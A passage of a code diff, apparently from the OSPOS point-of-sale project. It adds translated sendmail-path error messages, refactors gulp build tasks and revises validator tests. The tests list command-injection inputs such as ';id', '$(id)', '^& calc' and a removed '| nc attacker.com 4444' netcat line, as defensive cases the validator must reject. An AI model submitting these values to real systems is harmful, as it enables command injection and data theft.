sendmail. Разрешены только буквы, цифры, дефисы, подчёркивания, слеши, обратные слеши, двоеточия, пробелы и точки.', 'saved_successfully' => 'Конфигурация успешно сохранена.', 'saved_unsuccessfully' => 'Произошла ошибка при сохранении конфигурации.', 'security_issue' => 'Предупреждение об уязвимости системы безопасности', diff --git a/app/Language/sv/Config.php b/app/Language/sv/Config.php index daa9ec554..af545ad2e 100644 --- a/app/Language/sv/Config.php +++ b/app/Language/sv/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Höger', 'sales_invoice_format' => 'Försäljningsfakturaformat', 'sales_quote_format' => 'Försäljningsquotaformat', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Ogiltig sendmail-sökväg. Endast bokstäver, siffror, bindestreck, understreck, snedstreck, omvända snedstreck, kolon, mellanslag och punkter tillåts.', 'saved_successfully' => 'Konfigurationen sparades.', 'saved_unsuccessfully' => 'Konfigurationsbesparingen misslyckades.', 'security_issue' => 'Varning för säkerhetsrisker', diff --git a/app/Language/sw-KE/Config.php b/app/Language/sw-KE/Config.php index 1dd608320..8ca0caf26 100644 --- a/app/Language/sw-KE/Config.php +++ b/app/Language/sw-KE/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Kulia', 'sales_invoice_format' => 'Muundo wa Ankara ya Mauzo', 'sales_quote_format' => 'Muundo wa Nukuu ya Mauzo', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Njia ya sendmail si sahihi. Herufi, nambari, mistari mifupi, mistari chini, mikwaju, mikwaju ya kinyume, koloni, nafasi na vitone pekee ndivyo vinaruhusiwa.', 'saved_successfully' => 'Mpangilio umehifadhiwa kwa mafanikio.', 'saved_unsuccessfully' => 'Mpangilio umeshindwa kuhifadhiwa.', 'security_issue' => 'Onyo la Udhaifu wa Usalama', diff --git a/app/Language/sw-TZ/Config.php b/app/Language/sw-TZ/Config.php index 1dd608320..5e2692474 100644 --- a/app/Language/sw-TZ/Config.php +++ b/app/Language/sw-TZ/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Kulia', 'sales_invoice_format' => 'Muundo wa Ankara ya Mauzo', 'sales_quote_format' => 'Muundo wa Nukuu ya Mauzo', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Njia ya sendmail si sahihi. Herufi, tarakimu, mistari mifupi, mistari ya chini, mikwaju, mikwaju ya kinyume, koloni, nafasi na vitone tu ndivyo vinaruhusiwa.', 'saved_successfully' => 'Mpangilio umehifadhiwa kwa mafanikio.', 'saved_unsuccessfully' => 'Mpangilio umeshindwa kuhifadhiwa.', 'security_issue' => 'Onyo la Udhaifu wa Usalama', diff --git a/app/Language/ta/Config.php b/app/Language/ta/Config.php index 3b6596a5d..9733fe5fe 100644 --- a/app/Language/ta/Config.php +++ b/app/Language/ta/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Sales Invoice Format', 'sales_quote_format' => 'Sales Quote Format', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'தவறான sendmail பாதை. எழுத்துகள், எண்கள், கோடுகள், அடிக்கோடுகள், சாய்வுக்கோடுகள், பின்சாய்வுக்கோடுகள், முக்காற்புள்ளிகள், இடைவெளிகள் மற்றும் புள்ளிகள் மட்டுமே அனுமதிக்கப்படும்.', 'saved_successfully' => 'Configuration save successful.', 'saved_unsuccessfully' => 'Configuration save failed.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/th/Config.php b/app/Language/th/Config.php index 406347a18..7cc25761e 100644 --- a/app/Language/th/Config.php +++ b/app/Language/th/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'ถูกต้อง', 'sales_invoice_format' => 'รหัสใบเสร็จ', 'sales_quote_format' => 'รูปแบบใบเสนอราคาขาย', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'เส้นทาง sendmail ไม่ถูกต้อง อนุญาตเฉพาะตัวอักษร ตัวเลข ขีดกลาง ขีดล่าง เครื่องหมายทับ เครื่องหมายทับกลับ โคลอน ช่องว่าง และจุดเท่านั้น', 'saved_successfully' => 'บันทึกข้อมูลร้านค้าเรียบร้อยแล้ว', 'saved_unsuccessfully' => 'บันทึกข้อมูลร้านค้าไม่สำเร็จ', 'security_issue' => 'คำเตือนช่องโหว่ด้านความปลอดภัย', diff --git a/app/Language/tl/Config.php b/app/Language/tl/Config.php index 50f8e1095..aa414370c 100644 --- a/app/Language/tl/Config.php +++ b/app/Language/tl/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Sales Invoice Format', 'sales_quote_format' => 'Sales Quote Format', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Hindi wastong landas ng sendmail. Mga titik, numero, gitling, underscore, slash, backslash, kolon, espasyo, at tuldok lamang ang pinapayagan.', 'saved_successfully' => 'Configuration save successful.', 'saved_unsuccessfully' => 'Configuration save failed.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/tr/Config.php b/app/Language/tr/Config.php index 7d2875eff..7619448c2 100644 --- a/app/Language/tr/Config.php +++ b/app/Language/tr/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Sağ', 'sales_invoice_format' => 'Satış Fatura Biçimi', 'sales_quote_format' => 'Satış Teklif Biçimi', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Geçersiz sendmail yolu. Yalnızca harflere, rakamlara, tirelere, alt çizgilere, eğik çizgilere, ters eğik çizgilere, iki noktalara, boşluklara ve noktalara izin verilir.', 'saved_successfully' => 'Yapılandırma kaydedildi.', 'saved_unsuccessfully' => 'Yapılandırma kaydedilemedi.', 'security_issue' => 'Güvenlik Arıklığı Uyarısı', diff --git a/app/Language/uk/Config.php b/app/Language/uk/Config.php index 32eca7e94..6a46a8bd0 100644 --- a/app/Language/uk/Config.php +++ b/app/Language/uk/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Право', 'sales_invoice_format' => 'Формат рахунків-фактур продажів', 'sales_quote_format' => 'Формат котирування продажів', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Невірний шлях sendmail. Дозволені лише літери, цифри, дефіси, підкреслення, коси риски, зворотні коси риски, двокрапки, пробіли та крапки.', 'saved_successfully' => 'Конфігурація успішно збережена', 'saved_unsuccessfully' => 'Помилка збереження конфігурації', 'security_issue' => 'Попередження про вразливість системи безпеки', diff --git a/app/Language/ur/Config.php b/app/Language/ur/Config.php index 013fae1c4..3bab550bc 100644 --- a/app/Language/ur/Config.php +++ b/app/Language/ur/Config.php @@ -284,7 +284,7 @@ return [ 'right' => '', 'sales_invoice_format' => '', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'sendmail کا راستہ غلط ہے۔ صرف حروف، ہندسے، ڈیش، انڈر اسکور، سلیش، بیک سلیش، کالن، اسپیس اور نقطے کی اجازت ہے۔', 'saved_successfully' => '', 'saved_unsuccessfully' => '', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/vi/Config.php b/app/Language/vi/Config.php index 27750370b..c890022b3 100644 --- a/app/Language/vi/Config.php +++ b/app/Language/vi/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Phải', 'sales_invoice_format' => 'Định dạng Hóa đơn bán hàng', 'sales_quote_format' => 'Định dạng Báo giá bán hàng', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Đường dẫn sendmail không hợp lệ. Chỉ cho phép chữ cái, số, dấu gạch ngang, dấu gạch dưới, dấu gạch chéo, dấu gạch chéo ngược, dấu hai chấm, dấu cách và dấu chấm.', 'saved_successfully' => 'Cấu hình được lưu thành công.', 'saved_unsuccessfully' => 'Gặp lỗi khi lưu cấu hình.', 'security_issue' => 'Cảnh báo về lỗ hổng bảo mật', diff --git a/app/Language/zh-Hans/Config.php b/app/Language/zh-Hans/Config.php index 28759277e..21c77b8e5 100644 --- a/app/Language/zh-Hans/Config.php +++ b/app/Language/zh-Hans/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Sales Invoice Format', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => '无效的 sendmail 路径。仅允许字母、数字、连字符、下划线、正斜杠、反斜杠、冒号、空格和点号。', 'saved_successfully' => '組態設置儲存成功', 'saved_unsuccessfully' => '組態設置儲存失敗', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/zh-Hant/Config.php b/app/Language/zh-Hant/Config.php index 480241de3..7cfce02d3 100644 --- a/app/Language/zh-Hant/Config.php +++ b/app/Language/zh-Hant/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => '銷售發票格式', 'sales_quote_format' => '銷售報價格式', - 'mailpath_invalid' => '', + 'mailpath_invalid' => '無效的 sendmail 路徑。僅允許字母、數字、連字號、底線、正斜線、反斜線、冒號、空格和句點。', 'saved_successfully' => '組態設置儲存成功.', 'saved_unsuccessfully' => '組態設置儲存失敗.', 'security_issue' => '安全漏洞警告', diff --git a/gulpfile.js b/gulpfile.js index 241f0ea16..78b28464d 100644 --- a/gulpfile.js +++ b/gulpfile.js @@ -39,57 +39,69 @@ gulp.task('compress', function() { gulp.task('update-licenses', function() { - run('composer licenses --format=json --no-dev > public/license/composer.LICENSES').exec(); - run('npx license-report --only=prod --output=json --fields=name --fields=author --fields=homepage --fields=installedVersion --fields=licenseType > public/license/npm-prod.LICENSES').exec(); - run('npx license-report --only=dev --output=json --fields=name --fields=author --fields=homepage --fields=installedVersion --fields=licenseType > public/license/npm-dev.LICENSES').exec(); - return pipeline(gulp.src('LICENSE'),gulp.dest('public/license')); + function run_completion(execStream) { + return finished(execStream.resume()); + } + + return Promise.all([ + run_completion(run('composer licenses --format=json --no-dev > public/license/composer.LICENSES').exec()), + run_completion(run('npx license-report --only=prod --output=json --fields=name --fields=author --fields=homepage --fields=installedVersion --fields=licenseType > public/license/npm-prod.LICENSES').exec()), + run_completion(run('npx license-report --only=dev --output=json --fields=name --fields=author --fields=homepage --fields=installedVersion --fields=licenseType > public/license/npm-dev.LICENSES').exec()), + pipeline(gulp.src('LICENSE'),gulp.dest('public/license')) + ]); }); // Copy the bootswatch styles into their own folder so OSPOS can select one from the collection gulp.task('copy-bootswatch', function() { - pipeline(gulp.src('./node_modules/bootswatch/cerulean/*.min.css'),gulp.dest('public/resources/bootswatch/cerulean')); - pipeline(gulp.src('./node_modules/bootswatch/cosmo/*.min.css'),gulp.dest('public/resources/bootswatch/cosmo')); - pipeline(gulp.src('./node_modules/bootswatch/cyborg/*.min.css'),gulp.dest('public/resources/bootswatch/cyborg')); - pipeline(gulp.src('./node_modules/bootswatch/darkly/*.min.css'),gulp.dest('public/resources/bootswatch/darkly')); - pipeline(gulp.src('./node_modules/bootswatch/flatly/*.min.css'),gulp.dest('public/resources/bootswatch/flatly')); - pipeline(gulp.src('./node_modules/bootswatch/journal/*.min.css'),gulp.dest('public/resources/bootswatch/journal')); - pipeline(gulp.src('./node_modules/bootswatch/lumen/*.min.css'),gulp.dest('public/resources/bootswatch/lumen')); - pipeline(gulp.src('./node_modules/bootswatch/paper/*.min.css'),gulp.dest('public/resources/bootswatch/paper')); - pipeline(gulp.src('./node_modules/bootswatch/readable/*.min.css'),gulp.dest('public/resources/bootswatch/readable')); - pipeline(gulp.src('./node_modules/bootswatch/sandstone/*.min.css'),gulp.dest('public/resources/bootswatch/sandstone')); - pipeline(gulp.src('./node_modules/bootswatch/simplex/*.min.css'),gulp.dest('public/resources/bootswatch/simplex')); - pipeline(gulp.src('./node_modules/bootswatch/slate/*.min.css'),gulp.dest('public/resources/bootswatch/slate')); - pipeline(gulp.src('./node_modules/bootswatch/spacelab/*.min.css'),gulp.dest('public/resources/bootswatch/spacelab')); - pipeline(gulp.src('./node_modules/bootswatch/superhero/*.min.css'),gulp.dest('public/resources/bootswatch/superhero')); - pipeline(gulp.src('./node_modules/bootswatch/united/*.min.css'),gulp.dest('public/resources/bootswatch/united')); - pipeline(gulp.src('./node_modules/bootswatch/yeti/*.min.css'),gulp.dest('public/resources/bootswatch/yeti')); - return pipeline(gulp.src('./node_modules/bootswatch/fonts/*.*', {encoding:false}),gulp.dest('public/resources/bootswatch/fonts')); + return Promise.all([ + pipeline(gulp.src('./node_modules/bootswatch/cerulean/*.min.css'),gulp.dest('public/resources/bootswatch/cerulean')), + pipeline(gulp.src('./node_modules/bootswatch/cosmo/*.min.css'),gulp.dest('public/resources/bootswatch/cosmo')), + pipeline(gulp.src('./node_modules/bootswatch/cyborg/*.min.css'),gulp.dest('public/resources/bootswatch/cyborg')), + pipeline(gulp.src('./node_modules/bootswatch/darkly/*.min.css'),gulp.dest('public/resources/bootswatch/darkly')), + pipeline(gulp.src('./node_modules/bootswatch/flatly/*.min.css'),gulp.dest('public/resources/bootswatch/flatly')), + pipeline(gulp.src('./node_modules/bootswatch/journal/*.min.css'),gulp.dest('public/resources/bootswatch/journal')), + pipeline(gulp.src('./node_modules/bootswatch/lumen/*.min.css'),gulp.dest('public/resources/bootswatch/lumen')), + pipeline(gulp.src('./node_modules/bootswatch/paper/*.min.css'),gulp.dest('public/resources/bootswatch/paper')), + pipeline(gulp.src('./node_modules/bootswatch/readable/*.min.css'),gulp.dest('public/resources/bootswatch/readable')), + pipeline(gulp.src('./node_modules/bootswatch/sandstone/*.min.css'),gulp.dest('public/resources/bootswatch/sandstone')), + pipeline(gulp.src('./node_modules/bootswatch/simplex/*.min.css'),gulp.dest('public/resources/bootswatch/simplex')), + pipeline(gulp.src('./node_modules/bootswatch/slate/*.min.css'),gulp.dest('public/resources/bootswatch/slate')), + pipeline(gulp.src('./node_modules/bootswatch/spacelab/*.min.css'),gulp.dest('public/resources/bootswatch/spacelab')), + pipeline(gulp.src('./node_modules/bootswatch/superhero/*.min.css'),gulp.dest('public/resources/bootswatch/superhero')), + pipeline(gulp.src('./node_modules/bootswatch/united/*.min.css'),gulp.dest('public/resources/bootswatch/united')), + pipeline(gulp.src('./node_modules/bootswatch/yeti/*.min.css'),gulp.dest('public/resources/bootswatch/yeti')), + pipeline(gulp.src('./node_modules/bootswatch/fonts/*.*', {encoding:false}),gulp.dest('public/resources/bootswatch/fonts')) + ]); }); // Copy the bootswatch styles into their own folder so OSPOS can select one from the collection gulp.task('copy-bootswatch5', function() { - pipeline(gulp.src('./node_modules/bootswatch5/dist/cerulean/*.min.css'),gulp.dest('public/resources/bootswatch5/cerulean')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/cosmo/*.min.css'),gulp.dest('public/resources/bootswatch5/cosmo')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/cyborg/*.min.css'),gulp.dest('public/resources/bootswatch5/cyborg')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/darkly/*.min.css'),gulp.dest('public/resources/bootswatch5/darkly')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/flatly/*.min.css'),gulp.dest('public/resources/bootswatch5/flatly')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/journal/*.min.css'),gulp.dest('public/resources/bootswatch5/journal')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/lumen/*.min.css'),gulp.dest('public/resources/bootswatch5/lumen')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/sandstone/*.min.css'),gulp.dest('public/resources/bootswatch5/sandstone')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/simplex/*.min.css'),gulp.dest('public/resources/bootswatch5/simplex')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/slate/*.min.css'),gulp.dest('public/resources/bootswatch5/slate')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/spacelab/*.min.css'),gulp.dest('public/resources/bootswatch5/spacelab')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/superhero/*.min.css'),gulp.dest('public/resources/bootswatch5/superhero')); - pipeline(gulp.src('./node_modules/bootswatch5/dist/united/*.min.css'),gulp.dest('public/resources/bootswatch5/united')); - return pipeline(gulp.src('./node_modules/bootswatch5/dist/yeti/*.min.css'),gulp.dest('public/resources/bootswatch5/yeti')); + return Promise.all([ + pipeline(gulp.src('./node_modules/bootswatch5/dist/cerulean/*.min.css'),gulp.dest('public/resources/bootswatch5/cerulean')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/cosmo/*.min.css'),gulp.dest('public/resources/bootswatch5/cosmo')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/cyborg/*.min.css'),gulp.dest('public/resources/bootswatch5/cyborg')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/darkly/*.min.css'),gulp.dest('public/resources/bootswatch5/darkly')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/flatly/*.min.css'),gulp.dest('public/resources/bootswatch5/flatly')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/journal/*.min.css'),gulp.dest('public/resources/bootswatch5/journal')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/lumen/*.min.css'),gulp.dest('public/resources/bootswatch5/lumen')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/sandstone/*.min.css'),gulp.dest('public/resources/bootswatch5/sandstone')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/simplex/*.min.css'),gulp.dest('public/resources/bootswatch5/simplex')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/slate/*.min.css'),gulp.dest('public/resources/bootswatch5/slate')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/spacelab/*.min.css'),gulp.dest('public/resources/bootswatch5/spacelab')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/superhero/*.min.css'),gulp.dest('public/resources/bootswatch5/superhero')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/united/*.min.css'),gulp.dest('public/resources/bootswatch5/united')), + pipeline(gulp.src('./node_modules/bootswatch5/dist/yeti/*.min.css'),gulp.dest('public/resources/bootswatch5/yeti')) + ]); }); // Copy the bootstrap style into its own folder so OSPOS can select it from the collection gulp.task('copy-bootstrap', function() { - pipeline(gulp.src('./node_modules/bootstrap/dist/css/bootstrap.min.css*'),gulp.dest('public/resources/bootswatch/bootstrap')); - pipeline(gulp.src('./node_modules/bootstrap5/dist/css/bootstrap.min.css*'),gulp.dest('public/resources/bootswatch5/bootstrap')); - return pipeline(gulp.src('./node_modules/bootstrap5/dist/css/bootstrap.rtl.min.css*'),gulp.dest('public/resources/bootswatch5/bootstrap')); + return Promise.all([ + pipeline(gulp.src('./node_modules/bootstrap/dist/css/bootstrap.min.css*'),gulp.dest('public/resources/bootswatch/bootstrap')), + pipeline(gulp.src('./node_modules/bootstrap5/dist/css/bootstrap.min.css*'),gulp.dest('public/resources/bootswatch5/bootstrap')), + pipeline(gulp.src('./node_modules/bootstrap5/dist/css/bootstrap.rtl.min.css*'),gulp.dest('public/resources/bootswatch5/bootstrap')) + ]); }); // /public/resources/ospos - contains the minimized files to be packed into opensourcepos.min.[css/js] @@ -277,25 +289,27 @@ gulp.task('copy-fonts', function() { gulp.task('copy-menubar', function() { - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/star.svg"),rename("attributes.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/bookshelf.svg"),rename("cashups.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/gear.svg"),rename("config.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/contacts.svg"),rename("customers.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/profle.svg"),rename("employees.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/compose.svg"),rename("expenses.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/clipboard.svg"),rename("expenses_categories.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/heart.svg"),rename("giftcards.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/door.svg"),rename("home.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/stack.svg"),rename("item_kits.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/shop.svg"),rename("items.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/smartphone.svg"),rename("messages.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/tools.svg"),rename("migrate.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/door.svg"),rename("office.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/dolly.svg"),rename("receivings.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/bar-chart.svg"),rename("reports.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/cart.svg"),rename("sales.svg"),gulp.dest("public/images/menubar")); - pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/briefcase.svg"),rename("suppliers.svg"),gulp.dest("public/images/menubar")); - return pipeline(gulp.src('./node_modules/elegant-circles/svg/full-color/money.svg'),rename("taxes.svg"),gulp.dest("public/images/menubar")); + return Promise.all([ + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/star.svg"),rename("attributes.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/bookshelf.svg"),rename("cashups.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/gear.svg"),rename("config.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/contacts.svg"),rename("customers.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/profle.svg"),rename("employees.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/compose.svg"),rename("expenses.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/clipboard.svg"),rename("expenses_categories.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/heart.svg"),rename("giftcards.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/door.svg"),rename("home.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/stack.svg"),rename("item_kits.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/shop.svg"),rename("items.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/smartphone.svg"),rename("messages.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/tools.svg"),rename("migrate.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/door.svg"),rename("office.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/dolly.svg"),rename("receivings.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/bar-chart.svg"),rename("reports.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/cart.svg"),rename("sales.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src("./node_modules/elegant-circles/svg/full-color/briefcase.svg"),rename("suppliers.svg"),gulp.dest("public/images/menubar")), + pipeline(gulp.src('./node_modules/elegant-circles/svg/full-color/money.svg'),rename("taxes.svg"),gulp.dest("public/images/menubar")) + ]); }); diff --git a/package-lock.json b/package-lock.json index 153d0b69e..887818679 100644 --- a/package-lock.json +++ b/package-lock.json @@ -61,6 +61,9 @@ "npm-check-updates": "^22.1.1", "readable-stream": "^4.4.2", "stream-series": "^0.1.1" + }, + "engines": { + "node": ">=20" } }, "node_modules/@babel/runtime": { diff --git a/package.json b/package.json index 4afdf7723..f2546ba4a 100644 --- a/package.json +++ b/package.json @@ -24,6 +24,9 @@ ], "type": "module", "main": "index.php", + "engines": { + "node": ">=20" + }, "scripts": { "build": "gulp default", "gulp": "gulp" diff --git a/tests/Config/Validation/OSPOSRulesTest.php b/tests/Config/Validation/OSPOSRulesTest.php index 6ef1daa50..6371db6bd 100644 --- a/tests/Config/Validation/OSPOSRulesTest.php +++ b/tests/Config/Validation/OSPOSRulesTest.php @@ -113,16 +113,26 @@ class OSPOSRulesTest extends CIUnitTestCase public static function validPathStrictProvider(): array { return [ - 'plain sendmail path' => ['/usr/sbin/sendmail', true], - 'plain php path' => ['/usr/bin/php', true], - 'path with dash and underscore' => ['/opt/my-mail_bin/sendmail.exe', true], + 'plain sendmail path' => ['/usr/sbin/sendmail', true], + 'plain php path' => ['/usr/bin/php', true], + 'path with dash and underscore' => ['/opt/my-mail_bin/sendmail.exe', true], + 'path with trailing args' => ['/usr/sbin/sendmail -t -i', true], + 'windows path' => ['C:\wamp64\bin\sendmail\sendmail.exe', true], + 'windows path with trailing args' => ['C:\wamp64\bin\sendmail\sendmail.exe -t -i', true], 'empty string' => ['', false], - 'trailing newline bypass payload' => ["/usr/bin/php\n", false], + 'trailing newline bypass payload' => ["/usr/bin/php\n", false], 'trailing newline plus injected command' => ["/usr/bin/php\nid", false], - 'embedded newline mid-string' => ["/usr/bin/php\n/bin/sh", false], - 'semicolon injection' => ['/usr/bin/php;id', false], - 'pipe injection' => ['/usr/bin/php|id', false], - 'space separated args' => ['/usr/bin/php -r "phpinfo();"', false], + 'embedded newline mid-string' => ["/usr/bin/php\n/bin/sh", false], + 'semicolon injection' => ['/usr/bin/php;id', false], + 'pipe injection' => ['/usr/bin/php|id', false], + 'ampersand injection' => ['/usr/bin/php & id', false], + 'backtick injection' => ['/usr/bin/php `id`', false], + 'dollar subshell injection' => ['/usr/bin/php $(id)', false], + 'quoted args' => ['/usr/bin/php -r "phpinfo();"', false], + 'redirect injection' => ['/usr/bin/php > /tmp/out', false], + 'cmd.exe env var expansion' => ['C:\path\sendmail.exe %COMSPEC%', false], + 'cmd.exe escape char' => ['C:\path\sendmail.exe ^& calc', false], + 'cmd.exe command chaining' => ['C:\path\sendmail.exe && calc', false], ]; } diff --git a/tests/Controllers/ConfigTest.php b/tests/Controllers/ConfigTest.php index 1302e72dd..486a64b76 100644 --- a/tests/Controllers/ConfigTest.php +++ b/tests/Controllers/ConfigTest.php @@ -117,63 +117,7 @@ class ConfigTest extends CIUnitTestCase $this->assertStringContainsString('invalid', strtolower($result['message'])); } - public function testMailpath_RejectsCommandInjection_Pipe(): void - { - $this->resetSession(); - - $response = $this->post('/config/saveEmail', [ - 'protocol' => 'sendmail', - 'mailpath' => '/usr/sbin/sendmail | nc attacker.com 4444' - ]); - - $response->assertStatus(200); - $result = json_decode($response->getJSON(), true); - $this->assertFalse($result['success']); - } - - public function testMailpath_RejectsCommandInjection_And(): void - { - $this->resetSession(); - - $response = $this->post('/config/saveEmail', [ - 'protocol' => 'sendmail', - 'mailpath' => '/usr/sbin/sendmail && whoami' - ]); - - $response->assertStatus(200); - $result = json_decode($response->getJSON(), true); - $this->assertFalse($result['success']); - } - - public function testMailpath_RejectsCommandInjection_Backtick(): void - { - $this->resetSession(); - - $response = $this->post('/config/saveEmail', [ - 'protocol' => 'sendmail', - 'mailpath' => '/usr/sbin/`whoami`' - ]); - - $response->assertStatus(200); - $result = json_decode($response->getJSON(), true); - $this->assertFalse($result['success']); - } - - public function testMailpath_RejectsCommandInjection_Subshell(): void - { - $this->resetSession(); - - $response = $this->post('/config/saveEmail', [ - 'protocol' => 'sendmail', - 'mailpath' => '/usr/sbin/sendmail$(id)' - ]); - - $response->assertStatus(200); - $result = json_decode($response->getJSON(), true); - $this->assertFalse($result['success']); - } - - public function testMailpath_RejectsCommandInjection_SpaceInPath(): void + public function testMailpath_AcceptsSendmailPathWithTrailingArgs(): void { $this->resetSession(); @@ -184,35 +128,7 @@ class ConfigTest extends CIUnitTestCase $response->assertStatus(200); $result = json_decode($response->getJSON(), true); - $this->assertFalse($result['success']); - } - - public function testMailpath_RejectsCommandInjection_Newline(): void - { - $this->resetSession(); - - $response = $this->post('/config/saveEmail', [ - 'protocol' => 'sendmail', - 'mailpath' => "/usr/sbin/sendmail\n/bin/bash" - ]); - - $response->assertStatus(200); - $result = json_decode($response->getJSON(), true); - $this->assertFalse($result['success']); - } - - public function testMailpath_RejectsCommandInjection_DollarSign(): void - { - $this->resetSession(); - - $response = $this->post('/config/saveEmail', [ - 'protocol' => 'sendmail', - 'mailpath' => '/usr/sbin/$SENDMAIL' - ]); - - $response->assertStatus(200); - $result = json_decode($response->getJSON(), true); - $this->assertFalse($result['success']); + $this->assertTrue($result['success']); } // ========== postSaveLocale: payment_reference_code_min / max ==========